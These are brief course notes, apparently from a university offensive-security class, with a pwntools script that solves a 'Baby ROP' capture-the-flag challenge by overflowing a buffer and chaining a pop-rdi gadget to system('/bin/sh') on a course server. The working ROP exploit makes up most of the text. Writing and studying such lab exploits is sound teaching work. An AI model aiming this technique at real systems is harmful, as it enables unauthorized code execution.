wk7 - ROP
Theme: ROP gadgets, chains (200/300)
Tools
Baby ROP (50)
from pwn import *
context.log_level = "DEBUG"
context.terminal = ["tmux", "splitw", "-f", "-h"]
context.arch = "amd64"
#e = context.binary = ELF('./baby_rop')
#r = ROP(e)
p = remote("offsec-chalbroker.osiris.cyber.nyu.edu", 1201)
p.recvuntil("abc123): ".encode())
p.sendline("[ID]".encode()) # enter your Net ID
# `pop rdi; ret`: pop top item from stack, store into rdi; then pop off stack again and put into rip
pop_rdi_gadget = 0x40119e # use ROPgadget on the binary, grep "pop rdi"
binsh_str = 0x402026 # take binsh part of the string 'echo like /bin/sh"'
sys_call = 0x401070 # find on Binja
ret = 0x40117e # look on Binja disassembly. find a ret
# ^ single ret is for stack alignment
payload = b"A"*0x18 + p64(pop_rdi_gadget) + p64(binsh_str) + p64(ret) + p64(sys_call)
p.recvuntil(b"> ")
p.sendline(payload)
p.interactive()
Classic ROP (150)
Last updated